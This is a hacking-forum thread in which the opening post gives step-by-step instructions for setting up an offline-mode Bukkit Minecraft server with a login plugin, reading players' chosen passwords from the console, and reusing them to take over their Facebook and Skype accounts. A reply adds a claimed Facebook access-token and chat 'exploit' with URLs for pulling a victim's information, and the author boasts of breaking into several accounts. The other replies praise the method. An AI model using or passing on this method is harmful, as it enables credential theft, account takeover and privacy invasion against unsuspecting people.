[ρãήžε®]

This is a little trick I've been using which works rather well. First make a offline minecraft server and add the plugin called login security. This will force users to set a password on your server when they join. When they do this check the console when they login and you will be able to see the password that they set. Many people will use one master password for all their accounts. Use the password that they set in your minecraft server to get into their facebook, skype etc. Some people will just use password as their password but many do not so it really depends on how dumb the person is. Enjoy. Oh and make sure your using bukkit for the server. Please vouch for this method if it helped you.

Step 1. Download latest craftbukkit build from here http://dl.bukkit.org/downloads/craftbukkit/


Step 2. Port forward 25565 on router
To get to router type 192.168.1.1 into web url address.


Step 3. put Craftbukkit file into a folder (DO NOT RUN IT) then make a batch file containing the following code in the same folder. Name the file what ever you want.

Code

@echo off
"C:\Program Files\Java\jre7\bin\java" -Xms5000M -Xmx5000M -jar craftbukkit-1.7.2-R0.1-20131203.185242-15.jar nogui
pause

This allocates more RAM into the server and launches the console. This is what you will click to run your server. NOTE: you will need to adjust the code above to your correct bukkit build and desired allocated RAM.

Step 4. Run the batch file

You will end up with multiple files and a console screen like this


Step 5. Download login security plugin
http://dev.bukkit.org/bukkit-plugins/loginsecurity/

Step 6. Place login security .jar file into the plugins folder located in your server folder. Then eather type reload into console and hit enter or restart the console. This will load the plugin into the server.

Step 7. Edit your server.properties file and set to online mode = false you can use notepad to edit the file.


Step 8. Edit the login security config.yml file using notepad and set password required to true, then restart or reload the server to update the server properties


Step 9. Set up a no ip here http://www.noip.com/ make an account go to add new host type in a host name and click add host. Although any skid can pull an ip out of a domain it still helps for basic ddos protection. Give this address to the people that want to join your server. ex: myserver.servegame.com


Step 10. Watch when the people join your server in console and see what they set their password to. Use this password to get into their skype and facebook. NOTE: if you dont have their email get into their skype first and their email should be stored in their skype settings.

[Devil_carder]

nice tha@@nks for sharing broo00oo keep it up

[CoNz]

Suppose that is a nice tip. Thanks.

[Abaddon]

Very clever. Thanks for sharing! Keep it up

[Struxus]

Very nice! Thanks for sharing! Keep it up!

[Red_Ryder]

It's a start I suppose. Can be implemented into many different things as well.

[ρãήžε®]

Thanks for the feedback, I will post more methods when i come across them.

[HarveySpecter]

Thank you for sharing this it was really helpful.

[ρãήžε®]

Thank you for sharing this it was really helpful.

Your welcome glad i could help you out :)

[scriptsquid]

Code

##
# Title: Facebook access Token & Chat Exploit Priv8
# Exploitation : Manually
# Date: 15/04/2013
#Author: Mauritania Attacker
##

# Access Token from Application :

https://graph.facebook.com/303943362983320/accounts/test-users?installed=true&name=test&permissions=read_stream&method=post&access_token=303943362983320|gdHOjhabhCio0zTGiYKDhZcuUo0

* When your victim is online and you chatting with him , just try the following link it will show all his infos !!!

# Chat Exploit

https://www.facebook.com/ajax/chat/user_info.php?__user=ID&__a=1&__dyn=1-&__req=2v&ids[0]=ID

[SIM-1538688]

73% of users use the same password on all/most sites if I'm not mistaken.

[ρãήžε®]

yeah i found that out after i broke into 2 facebooks and 3 skyps using my password stealing method.

[maxzmoviez]

This is actually really clever :D Thanks for this!

[ρãήžε®]

your welcome enjoy the free method hope it works for u

[Tzeemu]

Finally awesome tutorial this is helpful i like!